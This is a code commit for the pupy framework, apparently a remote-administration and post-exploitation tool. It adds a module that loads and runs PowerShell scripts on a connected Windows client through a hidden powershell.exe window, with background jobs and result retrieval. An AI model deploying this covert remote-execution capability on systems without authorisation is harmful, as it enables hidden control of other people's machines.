Add module to work with generic powershell scripts

pupy/modules/psh.py

@@ -0,0 +1,169 @@
+# -*- coding: utf-8 -*-
+
+from pupylib.PupyModule import *
+from pupylib.utils.term import consize
+from argparse import REMAINDER
+from pupylib.utils.rpyc_utils import obtain
+from pupylib.PupyCmd import PupyCmd
+from os import path
+from rpyc import GenericException
+
+__class_name__ = 'PowershellManager'
+
+ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
+
+@config(compat='windows', category='admin')
+class PowershellManager(PupyModule):
+    ''' Load/Execute Powershell scripts '''
+
+    dependencies = {
+        'windows': [ 'powershell' ]
+    }
+
+    def init_argparse(self):
+        self.arg_parser = PupyArgumentParser(
+            prog='psh', description=self.__doc__
+        )
+
+        width, _ = consize()
+
+        commands = self.arg_parser.add_subparsers(title='actions')
+        loaded = commands.add_parser('loaded', help='List preapred powershell contexts')
+        loaded.add_argument('context', nargs='?', help='Check is context with specified name loaded')
+        loaded.set_defaults(name='loaded')
+
+        load = commands.add_parser('load', help='Create new powershell context or load more scripts into existing')
+        load.add_argument('-F', '--force', action='store_true', default=False, help='Destroy old context if exists')
+        load.add_argument('-64', '--try-64', action='store_true', default=False, help='Try amd64 if possible')
+        load.add_argument('-2', '--try-v2', action='store_true', default=None, help='Try version 2 if possible')
+        load.add_argument('-W', '--width', default=width, type=int, help='Set output line width')
+        load.add_argument('-D', '--daemon', action='store_true', default=False, help='Start in "daemon" mode')
+        load.add_argument('context', help='Context name')
+        load.add_argument('source', help='Path to PS1 script (local to pupy)')
+        load.set_defaults(name='load')
+
+        iex = commands.add_parser('iex', help='Invoke expression in context')
+        iex.add_argument('-T', '--timeout', default=None, type=float, help='Set timeout for result retrieval')
+        iex.add_argument('-B', '--background', default=False, action='store_true',
+                         help='Evaluate in background (async)')
+        iex.add_argument('context', help='Context name')
+        iex.add_argument('expression', nargs=REMAINDER, help='Expression to evaluate')
+        iex.set_defaults(name='iex')
+
+        unload = commands.add_parser('unload', help='Destroy context')
+        unload.add_argument('context', help='Context name')
+        unload.set_defaults(name='unload')
+
+        result = commands.add_parser('result', help='Retrieve result by request id from context')
+        result.add_argument('context', help='Context name')
+        result.add_argument('rid', type=int, help='Request id')
+        result.set_defaults(name='result')
+
+        results = commands.add_parser('results', help='Retrieve ready RIDs from all contexts')
+        results.set_defaults(name='results')
+
+        killall = commands.add_parser('killall', help='Destroy all powershell contexts')
+        killall.set_defaults(name='killall')
+
+    def run(self, args):
+        powershell = self.client.conn.modules['powershell']
+
+        if args.name == 'loaded':
+            if args.context:
+                if powershell.loaded(args.context):
+                    self.success('{} is loaded'.format(args.context))
+                else:
+                    self.error('{} is not loaded'.format(args.context))
+            else:
+                contexts = obtain(powershell.loaded())
+                for context in contexts:
+                    self.success('{}'.format(context))
+
+        elif args.name == 'load':
+            script = path.expandvars(path.expanduser(args.source))
+            if not path.exists(script):
+                self.error('Script file not found: {}'.format(script))
+                return
+
+            with open(script) as input:
+                content = input.read()
+
+            try:
+                powershell.load(
+                    args.context, content, args.force, args.try_64,
+                    args.daemon, args.width, args.try_v2
+                )
+            except Exception, e:
+                self.error('load: {}'.format(e))
+
+        elif args.name == 'iex':
+            expression = ' '.join(args.expression)
+
+            if not powershell.loaded(args.context):
+                self.error('Context {} is not loaded'.format(args.context))
+                return
+
+            if not expression:
+                self.warning('Empty expression')
+                return
+
+            try:
+                result = powershell.call(
+                    args.context, expression, timeout=args.timeout, async=args.background
+                )
+
+                if args.background:
+                    self.warning('Queued: Context: {} RID: {}'.format(args.context, result.rid))
+                else:
+                    output, rest = result
+
+                    if rest:
+                        self.warning(rest)
+                    if output:
+                        self.log(output)
+
+            except GenericException as e:
+                if type(e).__name__ == 'powershell.PowershellTimeout':
+                    self.error('iex: timeout: Context: {} RID: {}'.format(args.context, e.args[0]))
+                else:
+                    self.error('iex: {}'.format(e))
+
+            except Exception, e:
+                self.error('iex: {}'.format(e))
+
+        elif args.name == 'unload':
+            try:
+                powershell.unload(args.context)
+            except Exception, e:
+                self.error('unload: {}'.format(e))
+
+        elif args.name == 'result':
+            result = powershell.result(args.context, args.rid)
+            if not result:
+                self.error('Result {} does not exists in {}'.format(args.rid, args.context))
+            else:
+                output, rest = result
+                if rest:
+                    self.warning(rest)
+                if output:
+                    self.log(output)
+
+        elif args.name == 'results':
+            if not obtain(powershell.loaded()):
+                self.error('No scripts loaded')
+                return
+
+            results = obtain(powershell.results.fget())
+            objects = [
+                {
+                    'CONTEXT': ctx,
+                    'RIDS': ', '.join([str(x) for x in rids])
+                } for ctx, rids in results.iteritems()
+            ]
+            self.stdout.write(
+                PupyCmd.table_format(objects, wl=[
+                    'CONTEXT', 'RIDS'
+                ]))
+
+        elif args.name == 'killall':
+            powershell.stop()

pupy/packages/windows/all/powershell.py

@@ -15,13 +15,19 @@ import codecs
 class PowerHostUninitialized(Exception):
     pass
 
-class PowerShellUninitialized(Exception):
+class PowershellUninitialized(Exception):
     pass
 
-class PowerShellInitializationFailed(Exception):
+class PowershellInitializationFailed(Exception):
     pass
 
-class PowerShellV2NotInstalled(Exception):
+class PowershellContextUnregistered(Exception):
+    pass
+
+class PowershellV2NotInstalled(Exception):
+    pass
+
+class PowershellTimeout(Exception):
     pass
 
 class Request(object):
@@ -36,6 +42,10 @@ class Request(object):
         self._rid = rid
         self._completed = False
 
+    @property
+    def rid(self):
+        return self._rid
+
     @property
     def expression(self):
         return self._expression
@@ -46,7 +56,9 @@ class Request(object):
 
     @property
     def result(self):
-        self._event.wait(timeout=self._timeout)
+        if not self._event.wait(timeout=self._timeout):
+            raise PowershellTimeout(self._rid)
+
         result = self._result
 
         if self._rid in self._storage:
@@ -88,12 +100,11 @@ class Request(object):
             self._event.set()
 
 
-class PowerShell(threading.Thread):
+class Powershell(threading.Thread):
     def __init__(self, host, name, content, try_x64=False, daemon=False, width=None, v2=True):
-        super(PowerShell, self).__init__()
+        super(Powershell, self).__init__()
         self.daemon = True
 
-        self._content = zlib.compress(content) if content else None
         self._try_x64 = try_x64
         self._completed = threading.Event()
         self._initialized = False
@@ -109,7 +120,7 @@ class PowerShell(threading.Thread):
         self._v2 = v2
 
         if try_x64:
-            native = ur'C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe'
+            native = ur'C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe'
             if os.path.exists(native):
                 self._executable = native
 
@@ -117,13 +128,13 @@ class PowerShell(threading.Thread):
             self._executable, u'-W', u'hidden', u'-I', u'Text', u'-C', u'-'
         ]
 
-        self._initialize()
+        self._initialize(content)
 
     @property
     def v2(self):
         return self._v2
 
-    def _initialize(self):
+    def _initialize(self, content):
         if self._pipe:
             return
 
@@ -155,26 +166,26 @@ class PowerShell(threading.Thread):
 
         if 'Version v2.0.50727 of the .NET Framework is not installed'.encode('UTF-16LE') in data:
             self.stop()
-            raise PowerShellV2NotInstalled()
+            raise PowershellV2NotInstalled()
 
         elif not data or not preamble_complete in data:
             print "First line: ", repr(data)
             print '.NET Framework is not installed' in data
             self.stop()
-            raise PowerShellInitializationFailed()
+            raise PowershellInitializationFailed()
 
-        if not self._content:
+        if not content:
             return
 
-        content = zlib.decompress(self._content)
+        self.load(content)
+
+    def load(self, content):
         content = re.sub('Write-Host ', 'Write-Output ', content, flags=re.I)
-
         self._invoke_expression(content)
 
-
     def _invoke_expression(self, content, dest=None, pipe=None):
         if not self._pipe:
-            raise PowerShellUninitialized()
+            raise PowershellUninitialized()
 
         if not content:
             return
@@ -273,7 +284,7 @@ class PowerShell(threading.Thread):
             sol_at+len(SOL):-(len(EOL)+1)
         ].strip(), response[:sol_at]
 
-    def execute(self, expression, async=False, timeout=None):
+    def execute(self, expression, async=False, timeout=None, wait=None):
         if self._daemon:
             async = True
 
@@ -281,6 +292,12 @@ class PowerShell(threading.Thread):
                 self._execute(expression)
                 return self._daemon_request
 
+        if timeout:
+            if wait is None:
+                wait = not async
+
+            async = True
+
         if self._queue:
             request = Request(
                 self._rid,
@@ -295,7 +312,8 @@ class PowerShell(threading.Thread):
 
             self._rid += 1
             self._queue.put(request)
-            if async:
+
+            if async and not wait:
                 return request
             else:
                 return request.result
@@ -304,7 +322,7 @@ class PowerShell(threading.Thread):
             self._queue = Queue.Queue()
             self._host.results[self._name] = {}
             self.start()
-            return self.execute(expression, async, timeout)
+            return self.execute(expression, async, timeout, wait)
 
         else:
             return self._execute(expression)
@@ -358,18 +376,27 @@ class PowerHost(object):
             self._powershells[name].stop()
 
         try:
-            self._powershells[name] = PowerShell(
+            self._powershells[name] = Powershell(
                 self, name, content, try_x64, daemon, width, v2
             )
 
-        except PowerShellV2NotInstalled:
+        except PowershellV2NotInstalled:
             self._v2 = False
-            self._powershells[name] = PowerShell(
+            self._powershells[name] = Powershell(
                 self, name, content, try_x64, daemon, width, False
             )
 
-    def registered(self, name):
+    def load(self, name, content):
-        return name in self._powershells
+        if not name in self._powershells:
+            raise PowershellUninitialized()
+
+        self._powershells[name].load(content)
+
+    def registered(self, name=None):
+        if name:
+            return name in self._powershells
+        else:
+            return self._powershells.keys()
 
     def unregister(self, name):
         if not name in self._powershells:
@@ -417,10 +444,13 @@ class PowerHost(object):
     def stopped(self):
         return not self._powershells
 
-def loaded(name):
+def loaded(name=None):
     powershell = pupy.manager.get(PowerHost)
     if not powershell:
-        return False
+        if not name:
+            return []
+        else:
+            return False
 
     return powershell.registered(name)
 
@@ -431,7 +461,10 @@ def load(name, content, force=False, try_x64=False, daemon=False, width=None, v2
     if not powershell:
         raise PowerHostUninitialized()
 
-    powershell.register(name, content, force, try_x64, daemon, width, v2)
+    if loaded(name) and not force:
+        powershell.load(name, content)
+    else:
+        powershell.register(name, content, force, try_x64, daemon, width, v2)
 
 def unload(name):
     powershell = pupy.manager.get(PowerHost)
@@ -457,13 +490,34 @@ def call(name, expression, async=False, timeout=None, content=None, try_x64=Fals
         if content:
             unload(name)
 
+def result(name, rid):
+    rid = int(rid)
+
+    powershell = pupy.manager.get(PowerHost)
+    if not powershell:
+        raise PowerHostUninitialized()
+
+    if not loaded(name):
+        PowershellContextUnregistered()
+
+    results = powershell.results
+    if not name in results or not rid in results[name]:
+        return None
+
+    result = results[name][rid]
+    del results[name][rid]
+
+    return result
+
 @property
 def results():
     powershell = pupy.manager.get(PowerHost)
     if not powershell:
         raise PowerHostUninitialized()
 
-    return powershell.results
+    return {
+        ctx:results.keys() for ctx, results in powershell.results.iteritems()
+    }
 
 def stop():
     pupy.manager.stop(PowerHost)